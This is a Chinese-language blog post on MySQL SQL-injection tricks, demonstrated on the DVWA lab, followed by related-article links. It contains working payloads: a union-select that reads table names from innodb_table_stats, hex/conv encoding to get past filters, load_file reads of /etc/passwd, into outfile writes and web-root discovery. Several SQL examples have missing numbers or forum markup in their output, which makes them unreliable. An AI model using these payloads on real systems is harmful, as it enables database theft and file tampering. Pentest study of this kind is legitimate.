0x00 前言
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle
旗下产品。MySQL
是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了一下研究,针对一些注入技巧进行了分析,本文主要从MySQL数据库的角度针对SQL注入技巧参考一些国外文档进行了研究。

0x01 Information_Schema.Tables
我们在渗透测试时候经常会遇到过滤 Information_Schema.Tables 的情况,不能用 Information_Schema.Tables 怎么获取表名?

从MySQL5.5及以上版本开始,默认存储引擎被称为InnoDB。在MySQL版本5.5及以上版本中如果你运行select @@innodb_version,你可以看到InnoDB的版本几乎与您的MySQL版本相同。

在MySQL 5.6及以上版本中,我注意到InnoDB的2个新表。innodb_index_stats和 innodb_table_stats。这两个表都包含所有新创建的数据库和表名。

让我们来看看这个表

示例:DVWA环境下

http://localhost/dvwa/vulnerabilities/sqli/?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name=schema()%23&Submit=Submit%23

演示:

0x02 字母转换成数字
这个方法的思路是先将字母保存为数字,然后再解码回来。主要的编码方法如下:

字符串 -> 十六进制 -> 十进制

首先我们来认识几个函数:

hex():可以用将一个字符串或数字转换为十六进制格式的字符串
unhex():把十六进制格式的字符串转化为原来的格式
conv():MySQL数字的进制转换

首先我们将 version() 转换成十六进制然后再转换成十进制:

mysql> select conv(hex(version()), , );
+--------------------------------+
| conv(hex(version()), , ) |
+--------------------------------+
| |
+--------------------------------+

然后解码就很简单了:

mysql> select unhex(conv(,,));
+-----------------------------------+
| unhex(conv(,,)) |
+-----------------------------------+
| 5.5. |
+-----------------------------------+

注意,这里是有限制的,在MySQL中最高的数据类型是BIGINT。我们不能超过它,字符串的最大长度可以是8个字符。下面看演示:

mysql> select conv(hex('AAAAAAAA'),,);
+-----------------------------+
| conv(hex('AAAAAAAA'),,) |
+-----------------------------+
| |
+-----------------------------+
row in set (0.00 sec) mysql> select unhex(conv(,,));
+----------------------------------------+
| unhex(conv(,,)) |
+----------------------------------------+
| AAAAAAAA |
+----------------------------------------+

可以发现值4702111234474983745可以被解码回AAAAAAAA如果我们再添加一个呢?

mysql> select conv(hex('AAAAAAAAA'),,);
+------------------------------+
| conv(hex('AAAAAAAAA'),,) |
+------------------------------+
| |
+------------------------------+
row in set (0.00 sec) mysql> select conv(hex('AAAAAAAAA'),,) = ~;
+-----------------------------------+
| conv(hex('AAAAAAAAA'),,) = ~ |
+-----------------------------------+
| |
+-----------------------------------+
row in set (0.00 sec)

我们不会得到一个正确的十进制值,而是无符号的无符号BIGINT。我们知道了这个限制就很容易了,我们可以在编码的时候使用substr()函数来截取字符串,最后解码的时候使用concat()函数连接字符串。

mysql> select conv(hex(substr(user(),,)),,);
+-------------------------------------+
| conv(hex(substr(user(),,)),,) |
+-------------------------------------+
| |
+-------------------------------------+ mysql> select conv(hex(substr(user(),,)),,);
+--------------------------------------+
| conv(hex(substr(user(),,)),,) |
+--------------------------------------+
| |
+--------------------------------------+ 然后使用concat()函数连接: mysql> select concat(unhex(conv(, , )), unhex(conv(, ,)));
+----------------------------------------------------------------------------------------+
| concat(unhex(conv(, , )), unhex(conv(, , ))) |
+----------------------------------------------------------------------------------------+
| root[url=home.php?mod=space&uid=]@localhost[/url] |
+----------------------------------------------------------------------------------------+

0x03 Load File 和 Into OutFile
很多人肯定都很熟悉这两个,还是并没有去过多深入了解一下,下面我们就来看一下什么是Load File 和 Into OutFile。

Load File: 读取文件并以字符串形式返回文件内容。

Load File: 将所选行写入文件,该文件会在服务器主机上进行创建,所以你必须要有执行这条命令的权限,还要注意要写入的文件不能是现有的文件。如:/etc/passwd

获取mysql.user和文件权限

mysql> select group_concat(user,0x3a,file_priv) from mysql.user;
+-----------------------------------+
| group_concat(user,0x3a,file_priv) |
+-----------------------------------+
| root:Y,root:Y,root:Y |
+-----------------------------------+
row in set (0.00 sec) mysql>

可以看见你的名字旁边有个Y,这就代表你有文件权限,N就是没有。

Load File

select load_file('/etc/passwd');

最简单的形式就是这样,下面就是一些tip:

1、../ 它可以帮助返回上一级目录,必要时能帮助你

select load_file('/etc/php/../passwd');

2、使用16进制

select load_file(0x2f6574632f706173737764);


3、使用char函数

select load_file(char(,,,,,,,,,,));

Into OutFile

基本格式很简单

select 'test' into outfile '/home/1.txt';

下面就是一些tip:
1、如果你有两个列或者更多的列,你必须使用null来替换该列,否则这些数据会和文本一起写入你的文件。
2、如果你想要在文本中使用 Return/Enter 按钮,你可以转换成hex或者使用char函数。

0x04 探测web服务器路径
在某些情况下,Web服务器根目录不在默认文件夹中,这里我们有两种办法来获取。

基于报错
默认情况下,PHP关闭自定义错误消息。有很多方法来强制 应用程序返回包含内部信息的错误消息。

比如注入一个单引号:

Fatal error: Call to a member function execute() on a non-object in /var/www/output.php
on line

通过LOAD_FILE方法
默认Apache配置文件包含了Apache Web服务器根目录的路径,使用此功能,用户需要文件特权。该文件也必须是可读的。
下面是在Apache 2.2版本上加载Apache配置文件的查询的示例:

SELECT LOAD_FILE('/etc/apache2/sites-available/default')

0x05 总结
谢谢大家阅读本文,MySQL数据库非常灵活,本文或许也只介绍到了其中的一点点小技巧,欢迎大家回帖交流更多的小技巧。谢谢大家,如本文有哪里错误,欢迎指正。

MySQL注入技巧性研究的更多相关文章

  1. mysql注入篇

    博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...

  2. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  3. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  4. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  5. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  6. MySQL注入--Payload

    MySQL注入--Payload Mirror王宇阳 2019-10-22 SQL的注入流程一般如下: 1.判断是否有SQL注入漏洞(判断注入点) 2.判断数据库的系统架构.数据库名.web应用类型等 ...

  7. SQL注入之DVWA平台测试mysql注入

    今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...

  8. Mysql注入汇总!!!!!!!!!

    师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...

  9. MySQL注入与informantion_schema库

    目录 只可读 自动开启 和MySQL注入有关的3个表 手动注入的使用案例 表介绍 查询一个表中全部字段的过程 MySQL V5.0安装完成会默认会生成一个库(informantion_schema), ...

随机推荐

  1. IDEA配置

    关于IDEA的配置 配置注释模板 CTRL_SHIFT_S,在Live Templates中新增一个TemplateGroup,然后再新建两个模板,如下图: 新增cc-ClassComment /** ...

  2. OO第二单元学习总结

    前言: 第二单元总共包括三次电梯调度作业.这三次作业在笔者看来是为了让学生了解什么是多线程,多线程的好处及可能存在的潜在问题,对于多线程的安全问题应该如何解决和保证结果的唯一性和正确性.那么接下来笔者 ...

  3. 除非你是BAT,前端开发中最好少造轮子

    站在前人的肩膀上 HTML.CSS.JavaScript是前端的根基,这是无可否认的事实.正如一辆车当然都是由一堆钢板和螺钉组成的,但是现在还有人拎着个锤子敲敲打打的造车吗?李书福说过,“汽车不过是四 ...

  4. 输入ip和端口号python脚本py文件

    1.利用.py文件进行打开URL,编辑以下文件代码保存文件为login.py: # _*_ coding: cp936 _*__all_ = ['ip','port','root_id']ip='10 ...

  5. MySQL函数转储存(当前月数据同步)

    BEGIN declare a1 int default 0;#第一次循环的循环变量 declare a2 int default 0; declare b1 int default 0; decla ...

  6. import os, glob, fnmatch--Python os/glob/fnmatch主要函数总结

    auther: Lart date: 2019-01-17 update: 2019-01-18 09:55:36 --- import os, glob, fnmatch 针对某些操作, 官方推荐这 ...

  7. powershell复制文件夹的文件

    function CCopy($folder_a_path,$folder_b_path){ #遍历源文件夹下所有文件 $folders_a = gci $folder_a_path -Recurse ...

  8. Finance API文档

    0. 公共部分 请求url {apiRoot}/{method}?ver={version}&appkey={appkey}&sign={sign} 参数名 说明 示例 apiRoot ...

  9. node vue 项目部署问题汇总

    场景:vue-router为history模式,不带项目名访问的部署,如果资源是用相对路径加载,则资源匹配路径不对 一.带项目名称访问,如部署到tomcat服务上 webpack:  build/ut ...

  10. 【Java】基本数据类型

    基本知识点给个链接: https://blog.csdn.net/qwe969153746/article/details/53353534 问题: 1.3*0.1 == 0.3 返回什么: fals ...